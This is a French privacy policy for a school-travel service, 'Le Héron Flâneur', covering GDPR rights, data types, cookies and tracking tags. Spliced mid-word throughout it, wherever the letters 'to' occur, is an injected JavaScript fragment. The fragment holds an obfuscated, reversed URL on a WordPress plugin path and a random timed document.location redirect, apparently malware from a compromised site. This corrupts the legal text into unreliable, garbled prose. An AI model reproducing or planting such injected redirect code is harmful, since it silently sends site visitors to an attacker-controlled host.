Politique de confidentialité
Politique de protection des données personnelles applicable à compter du 25 mai 2018
LE HÉRON FLÂNEUR construit avec ses utilisateurs des relations fortes et durables, fondées sur la confiance réciproque : assurer la sécurité et la confidentialité des données personnelles de ses utilisateurs est une priorité absolue pour LE HÉRON FLÂNEUR.
LE HÉRON FLÂNEUR respecte l’ensemble des dispositions réglementaires et législatives européennes relatives à la protection des données personnelles.
LE HÉRON FLÂNEUR se conforme également aux règles déontoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tologiques régissant la profession d'agent de voyage présentes sur son service.
LE HÉRON FLÂNEUR applique une politique extrêmement stricte pour garantir la protection des données personnelles de ses utilisateurs :
- Chaque utilisateur de LE HÉRON FLÂNEUR reste maître de ses données. LE HÉRON
FLÂNEUR n’en dispose pas librement.
- Elles sont traitées de manière transparente, confidentielle et sécurisée.
- LE HÉRON FLÂNEUR est engagé dans une démarche continue de protection des données de ses utilisateurs, en conformité avec la Loi Informatique et Libertés du 6 janvier 1978 modifiée (ci-après « LIL ») et du Règlement (UE) général sur la protection des données du 27 avril 2016 (ci-après « RGPD »).
Objet de la présente politique
LE HÉRON FLÂNEUR souhaite vous informer par l’intermédiaire de la présente politique de la manière dont nous protégeons vos données à caractère personnel traitées via le site https://www.leheronflaneur.com/.
La présente politique décrit la manière dont LE HÉRON FLÂNEUR et les professionnels abonnés à ses services traitent les données à caractère personnel des visiteurs et des utilisateurs lors de leur navigation sur le site https://www.leheronflaneur.com/ et de leur utilisation des services de LE HÉRON FLÂNEUR.
Cette Politique peut être modifiée, complétée ou mise à jour afin notamment de se conformer à toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toute évolution légale, réglementaire, jurisprudentielle et technique. Cependant, les Données Personnelles de l’Utilisateur seront toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toujours traitées conformément à la politique en vigueur au moment de leur collecte, sauf si une prescription légale impérative venait à en disposer autrement et serait d'application rétroactive.
Identité et coordonnées des responsables de traitement.
Qu’elle soit responsable de traitement ou sous-traitant, LE HÉRON FLÂNEUR prend les mesures propres à assurer la protection et la confidentialité des informations nominatives qu’elle détient ou qu’elle traite dans le respect des dispositions de la LIL et du RGPD.
Collecte & origine des données
Toutes les données concernant les Utilisateurs sont collectées directement auprès de ces derniers.
Le Héron Flâneur s’engage à recueillir le consentement de ses Utilisateurs et/ou à leur permettre de s’opposer à l’utilisation de leurs données pour certaines finalités, dès que cela est nécessaire.
Dans toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tous les cas, les Utilisateurs sont informés des finalités pour lesquelles leurs données sont collectées via les différents formulaires de collecte de données en ligne.
Finalité des données collectées
1. Nécessité de la collecte.
Lors de la prise de demande de devis en ligne avec un professionnel, l’Utilisateur communique certaines Données Personnelles. Si l’Utilisateur ne souhaite pas communiquer les informations qui lui sont demandées, il se peut que l’Utilisateur ne puisse pas accéder à certaines parties du Site et que LE HÉRON FLÂNEUR soit dans l’impossibilité de répondre à sa demande.
2. Finalités
Le recueil de vos Données Personnelles a pour base légale :
- l’intérêt légitime de LE HÉRON FLÂNEUR à assurer la meilleure qualité de ses services, à fournir à ses Utilisateurs le meilleur suivi possible de leurs demande d’information et à améliorer le fonctionnement de son Site.
- l’intérêt légitime de LE HÉRON FLÂNEUR à réaliser des enquêtes de satisfaction facultatives sur ses services en vue de les améliorer
- le consentement de ses Utilisateurs lorsque celui-ci est requis par la réglementation en vigueur, notamment en matière de prospection commerciale.
Les données des Utilisateurs de LE HÉRON FLÂNEUR sont principalement traitées pour :
- les mettre en relation avec un professionnel du voyage scolaire
- leur permettre d’obtenir des demandes d’informations pour l’obtention d’un devis gratuit leur permettre d’être pris en charge de façon optimale
A titre subsidiaire les données des Utilisateurs sont également collectées pour :
- prévenir et lutter contre la fraude informatique (spamming, hacking…)
- mener des enquêtes de satisfaction facultatives sur les services de LE HÉRON FLÂNEUR (ces enquêtes sont réalisées de manière anonyme ou sont anonymisées à bref délai)
- effectuer des statistiques sur l’utilisation de l’outil, un reporting interne pour les équipes de recherche & développement de LE HÉRON FLÂNEUR ainsi qu’un reporting à destination des professionnels du voyage scolaire (sans qu’aucune donnée ne soit utilisée).
Le caractère obligatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toire ou facultatif des données personnelles demandées et les éventuelles conséquences d'un défaut de réponse à l’égard des Utilisateurs de LE HÉRON FLÂNEUR sont précisés lors de leur(s) collecte(s).
Types de données traitées
LE HÉRON FLÂNEUR est susceptible de traiter toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tout ou partie des données suivantes :
- Nom et prénom
- Numéro de téléphone, adresse email, adresse postale
- Informations concernant votre voyage
LE HÉRON FLÂNEUR est susceptible de traiter, en tant que Responsable de Traitement toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tout ou partie des données suivantes :
- pour prévenir et lutter contre la fraude informatique (spamming, hacking…) : matériel informatique utilisé pour la navigation, l’adresse IP, le mot de passe (hashé)
- pour mener des enquêtes de satisfaction facultatives sur LE HÉRON FLÂNEUR : adresse email
- pour mener des campagnes de communication (sms, mail) : numéro de téléphone, adresse email
Non-communication des données personnelles
Les Données Personnelles de l’Utilisateur ne seront pas transmises à des acteurs commerciaux ou publicitaires.
Les Données Personnelles de l’Utilisateur peuvent être traitées par des filiales de LE HÉRON FLÂNEUR et des sous-traitants (prestataires de services), dans le respect absolu du principe énoncé ci-dessus, exclusivement afin de réaliser les finalités de la présente politique.
Dans la limite de leurs attributions respectives et pour les finalités rappelées ci-dessus, les principales personnes susceptibles d’avoir accès aux données des Utilisateurs de LE HÉRON FLÂNEUR sont principalement les agents de notre service client.
Durée de conservation des données
Nous conservons vos données uniquement le temps nécessaire pour les finalités poursuivies, conformément aux prescriptions légales.
Les droits des utilisateurs
Chaque fois que LE HÉRON FLÂNEUR traite des Données Personnelles, LE HÉRON FLÂNEUR prend toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toutes les mesures raisonnables pour s’assurer de l’exactitude et de la pertinence des Données Personnelles au regard des finalités pour lesquelles LE HÉRON FLÂNEUR les traite.
Conformément à la réglementation européenne en vigueur, les Utilisateurs de LE HÉRON FLÂNEUR disposent du
- droit de retirer à toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tout moment un consentement (article 13-2c RGPD)
- droit à la limitation du traitement des données des Utilisateurs (article 18 RGPD)
- droit d’opposition au traitement des données des Utilisateurs (article 21 RGPD)
- droit à la portabilité des données que les Utilisateurs auront fournies, lorsque ces données font l’objet de traitements autoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tomatisés fondés sur leur consentement ou sur un contrat (article 20 RGPD)
- droit de définir le sort des données des Utilisateurs après leur mort et de choisir à qui LE HÉRON FLÂNEUR devra communiquer (ou non) ses données à un tiers qu’ils aura préalablement désigné
Dès que LE HÉRON FLÂNEUR a connaissance du décès d’un Utilisateur et à défaut d’instructions de sa part, LE HÉRON FLÂNEUR s’engage à détruire ses données, sauf si leur conservation s’avère nécessaire à des fins probatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toires ou pour répondre à une obligation légale.
Si l’Utilisateur souhaite savoir comment LE HÉRON FLÂNEUR utilise ses Données Personnelles, demander à les rectifier ou s’oppose à leur traitement, l’Utilisateur peut contacter LE HÉRON FLÂNEUR par écrit à l’adresse suivante : LE HÉRON FLÂNEUR, C/Montserrat, 18, 28015 Madrid ou par mail à info@leheronflaneur.com. Dans ce cas, l’Utilisateur doit indiquer les Données Personnelles qu’il souhaiterait que LE HÉRON FLÂNEUR corrige, mette à jour ou supprime, en s’identifiant de manière précise avec une copie d’une pièce d’identité (carte d’identité ou passeport). Les demandes de suppression de Données Personnelles seront soumises aux obligations qui sont imposées à LE HÉRON FLÂNEUR par la loi, notamment en matière de conservation ou d’archivage des documents. Enfin, les Utilisateurs de LE HÉRON FLÂNEUR peuvent déposer une réclamation auprès des autoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torités de contrôle.
« Cookies » et balises (tags) internet
- « COOKIES »
Un « cookie » est un petit fichier d’information envoyé sur le navigateur de l’Utilisateur et enregistré au sein du terminal de l’Utilisateur (ex : ordinateur, smartphone), (ci-après « Cookies »). Ce fichier comprend des informations telles que le nom de domaine de l’Utilisateur, le fournisseur d’accès Internet de l’Utilisateur, le système d’exploitation de l’Utilisateur, ainsi que la date et l’heure d’accès. Les Cookies ne risquent en aucun cas d’endommager le terminal de l’Utilisateur.
LE HÉRON FLÂNEUR est susceptible de traiter les informations de l’Utilisateur concernant sa visite du Site, telles que les pages consultées et les recherches effectuées. Ces informations permettent à LE HÉRON FLÂNEUR d’améliorer le contenu du Site, de la navigation de l’Utilisateur.
Les Cookies facilitant la navigation et/ou la fourniture des services proposés par le Site, l’Utilisateur peut configurer son navigateur pour qu’il lui permette de décider s’il souhaite ou non les accepter de manière à ce que des Cookies soient enregistrés dans le terminal ou, au contraire, qu’ils soient rejetés, soit systématiquement, soit selon leur émetteur. L’Utilisateur peut également configurer son logiciel de navigation de manière à ce que l’acceptation ou le refus des Cookies lui soient proposés ponctuellement, avant qu’un Cookie soit susceptible d’être enregistré dans son terminal. LE HÉRON FLÂNEUR informe l’Utilisateur que, dans ce cas, il se peut que les fonctionnalités de son logiciel de navigation ne soient pas toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toutes disponibles.
Si l’Utilisateur refuse l’enregistrement de Cookies dans son terminal ou son navigateur, ou si l’Utilisateur supprime ceux qui y sont enregistrés, l’Utilisateur est informé que sa navigation et son expérience sur le Site peuvent être limitées. Cela pourrait également être le cas lorsque LE HÉRON FLÂNEUR ou l’un de ses prestataires ne peut pas reconnaître, à des fins de compatibilité technique, le type de navigateur utilisé par le terminal, les paramètres de langue et d’affichage ou le pays depuis lequel le terminal semble connecté à Internet.
Le cas échéant, LE HÉRON FLÂNEUR décline toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toute responsabilité pour les conséquences liées au fonctionnement dégradé du Site et des services éventuellement proposés par LE HÉRON FLÂNEUR, résultant (i) du refus de Cookies par l’Utilisateur (ii) de l’impossibilité pour LE HÉRON FLÂNEUR d’enregistrer ou de consulter les Cookies nécessaires à leur fonctionnement du fait du choix de l’Utilisateur.
Ces types de cookies ne sont déposés sur vos terminaux qu’à condition que vous y consentiez, en continuant votre navigation sur le Site Internet LE HÉRON FLÂNEUR.
- BALISES (“TAGS”) INTERNET
LE HÉRON FLÂNEUR peut employer occasionnellement des balises Internet (également appelées « tags », ou balises d’action, GIF à un pixel, GIF transparents, GIF invisibles et GIF un à un) et les déployer par l’intermédiaire d’un partenaire spécialiste d’analyses Web susceptible de se trouver (et donc de stoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tocker les informations correspondantes, y compris l’adresse IP de l’Utilisateur) dans un pays étranger.
Ces balises sont placées à la fois dans les publicités en ligne permettant aux internautes d’accéder au Site, et sur les différentes pages de celui-ci. Cette technologie permet à LE HÉRON FLÂNEUR d’évaluer les réponses des visiteurs face au Site et l’efficacité de ses actions (par exemple, le nombre de fois où une page est ouverte et les informations consultées), ainsi que l’utilisation de ce Site par l’Utilisateur. Le prestataire externe pourra éventuellement recueillir des informations sur les visiteurs du Site et d’autres sites Internet grâce à ces balises, constituer des rapports sur l’activité du Site à l’attention de LE HÉRON FLÂNEUR, et fournir d’autres services relatifs à l’utilisation de celui-ci et d’Internet.
Sécurité
LE HÉRON FLÂNEUR met en œuvre toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toutes les mesures techniques et organisationnelles afin d’assurer la sécurité des traitements de données à caractère personnel et la confidentialité de Données Personnelles.
A ce titre, LE HÉRON FLÂNEUR prend toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toutes les précautions utiles, au regard de la nature des données et des risques présentés par le traitement, afin de préserver la sécurité des données et, notamment, d’empêcher qu’elles soient déformées, endommagées, ou que des tiers non autoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torisés y aient accès (protection physique des locaux, procédés d’authentification avec accès personnel et sécurisé via des identifiants et mots de passe confidentiels, journalisation des connexions, chiffrement de certaines données…).
Informations personnelles et mineurs
En principe, le Site et l’Application s’adressent à des personnes majeures capables de contracter des obligations conformément à la législation du pays dans lequel se trouve l’Utilisateur.
Nous contacter - coordonnées
Si l’Utilisateur a des questions ou des réclamations concernant le respect par LE HÉRON FLÂNEUR de la présente Politique, ou si l’Utilisateur souhaite faire part à LE HÉRON FLÂNEUR de recommandations ou des commentaires visant à améliorer la qualité de la présente politique, l’Utilisateur peut contacter LE HÉRON FLÂNEUR par écrit à l’adresse suivante : LE HÉRON FLÂNEUR, C/Montserrat, 18, 28015 Madrid ou par mail à info@leheronflaneur.com.